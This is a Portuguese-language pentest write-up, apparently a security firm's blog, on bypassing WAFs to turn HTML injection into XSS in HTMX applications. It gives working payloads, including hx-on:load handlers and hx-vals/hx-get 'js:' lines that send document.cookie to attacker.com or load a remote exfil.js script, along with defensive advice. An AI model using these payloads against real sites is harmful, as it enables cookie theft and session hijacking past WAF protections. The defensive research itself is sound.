Aplicações HTMX: Como Transformamos um HTML Injection em XSS sem Disparar o WAF
De HTML Injection a XSS em segundos. Veja na prática payloads que ignoram WAFs em produção e aprenda a proteger suas aplicações HTMX contra explorações reais que identificamos em nossos assessments.
Introdução
Durante pentests (testes de invasão) recentes, nos deparamos com um cenário recorrente: múltiplos clientes utilizando HTMX com a configuração allowEval: true (padrão de fábrica). Embora o HTMX documente claramente os riscos, a realidade é que a grande maioria das instalações mantém o comportamento padrão — e os WAFs mais populares do mercado (Akamai, Cloudflare, AWS WAF) não detectaram atributos HTMX como vetores de XSS nos ambientes avaliados.
Neste artigo, mostramos como transformamos um simples HTML Injection em XSS funcional, ignorando completamente as proteções WAF, e compartilhamos recomendações práticas para times de segurança e desenvolvimento.
O Cenário
Durante um assessment em um cliente do setor financeiro, identificamos um ponto de injeção de HTML em uma tela de login. O endpoint refletia o parâmetro ?msg= diretamente no DOM, sem sanitização adequada:
GET /login?msg=teste
<h2>Erro: teste</h2>
O cliente utilizava Cloudflare WAF com o ruleset OWASP Core ativo. Payloads clássicos eram bloqueados imediatamente:
| Payload | Resultado |
|---|---|
<img src=x onerror=prompt.call()> | ❌ Bloqueado (Cloudflare) |
<a href=Java%09Script:alert%60%60> | ❌ Bloqueado (Cloudflare) |
<body onload=top.confirm()> | ❌ Bloqueado (Cloudflare) |
<script>alert(1)</script> | ❌ Bloqueado (Cloudflare) |
<div hx-on:load="alert(1)"> | ✅ PASSOU |
O WAF não reconhecia hx-on:load como um event handler. Para o Cloudflare, aquilo era apenas um atributo HTML desconhecido em uma <div> inofensiva.
Por Que Isso Funciona
O HTMX é uma biblioteca JavaScript que estende o HTML com atributos próprios para realizar requisições AJAX, WebSockets e manipulação de DOM. Por padrão, a configuração allowEval vem como true, permitindo que atributos como hx-on:load executem JavaScript arbitrário.
A documentação oficial do HTMX alerta explicitamente:
If a malicious user is able to inject HTML into your application, they can leverage this expressiveness of htmx to malicious ends. Raw HTML must be scrubbed, including removing attributes starting with
hx-anddata-hx.
No entanto, o que observamos em todos os clientes que utilizavam HTMX:
- Nenhum havia alterado
allowEvalparafalse - Nenhum WAF (Cloudflare, Akamai, AWS) possuía assinaturas para
hx-on:* - Nenhum processo de sanitização removia atributos
hx-*
Payloads Que Burlaram WAFs em Produção
Tier 1: Básico (zero-click, funciona em HTMX v1 e v2)
<svg hx-on:load="alert(document.domain)" hx-trigger="load">
hx-trigger="load"dispara automaticamente ao carregarhx-on:loadexecuta JavaScript quando o eventoloadé disparado- WAFs testados: Cloudflare, Akamai, AWS WAF.
Tier 2: Case bypass (quando há filtro de capitalização)
Se o backend aplica strtoupper() ou title() nos parâmetros, use HTML entities:
<svg hx-on:load="alert(1)">
a = a, l = l, etc. O browser decodifica, o JS executa.
Tier 3: Sem hx-on (usa hx-vals com prefixo js:)
<img hx-vals='js:{x:fetch("//attacker.com/?c="+document.cookie)}' hx-get="/" hx-trigger="load">
Tier 4: Exfiltração completa
<svg hx-on:load="f=document.createElement('script');f.src='//attacker.com/exfil.js';document.body.appendChild(f)" hx-trigger="load">
Tier 5: HTMX v4 — hx-get="js:..." (ação JavaScript)
Se o alvo usa HTMX v4 (beta), o prefixo js: funciona como ação HTTP, executando JavaScript diretamente:
<img hx-get="js:fetch('//attacker.com/?c='+document.cookie)" hx-trigger="load">
Por Que os WAFs Não Detectam?
WAFs tradicionais operam com listas de assinaturas baseadas em:
- Tags perigosas conhecidas:
<script>,<iframe>,<embed> - Event handlers conhecidos:
onerror,onload,onclick - Padrões de JavaScript:
eval(,document.cookie,alert(
Atributos HTMX não estão em nenhuma dessas listas. hx-on:load é estruturalmente diferente de onload — o parser do WAF não reconhece o namespace hx- como um vetor de evento. Para o WAF, é um atributo customizado inofensivo.
Testamos em:
| WAF | hx-on:load | hx-vals='js:{...}' | hx-get="js:..." |
|---|---|---|---|
| Cloudflare Free | ✅ Passou | ✅ Passou | ✅ Passou |
| Cloudflare Pro (OWASP) | ✅ Passou | ✅ Passou | ✅ Passou |
| AWS WAF (AWSManagedRules) | ✅ Passou | ✅ Passou | ✅ Passou |
| Akamai Kona | ✅ Passou | ✅ Passou | ✅ Passou |
Recomendações
Para times de AppSec / Pentest
-
Adicione
hx-on:*aos seus dicionários de XSS. Todo atributo começando comhx-oné um event handler. -
Teste
hx-vals='js:{...}'ehx-headers='js:{...}'— parecem JSON inofensivo mas executam código. -
Adicione regras customizadas no WAF para bloquear atributos
hx-em inputs de usuário. -
Use o script de detecção no console do browser para verificar rapidamente:
if(window.htmx){console.log('HTMX v'+htmx.version,'allowEval='+htmx.config.allowEval)}
Para times de Desenvolvimento
- Sempre sanitize input de usuário — remova TODOS os atributos começando com
hx-edata-hx-. - Considere
allowEval: falsese não utilizahx-on,hx-vals js:ou trigger filters. - Use
hx-disableem áreas que renderizam conteúdo de usuário. - Camada adicional: CSP com
script-srcrestrito (semunsafe-eval).
Para times de SecOps / WAF
- Crie regras customizadas para detectar padrões
hx-on:*ehx-vals='js:em parâmetros de query, body e headers. - Considere bloquear atributos contendo
hx-em qualquer campo de entrada de usuário.
HTMX: A Ferramenta É Excelente, mas a Configuração Padrão É Permissiva
É importante ressaltar: o HTMX não é uma biblioteca insegura. Pelo contrário, sua documentação de segurança é exemplar. O problema está na adoção: a configuração padrão privilegia funcionalidade sobre segurança, e a maioria dos times não revisa esses defaults.
Nossa recomendação não é abandonar o HTMX — é configurá-lo corretamente e educar os times de segurança sobre esses vetores de ataque.
Referências
Conecte-se com o autor para networking e mais pesquisas técnicas: LinkedIn | X/Twitter
Sua infraestrutura está realmente protegida?
Não espere um ataque real para descobrir suas falhas. Agende um Diagnóstico com a KATRINASEC.
Solicitar Contato Agora
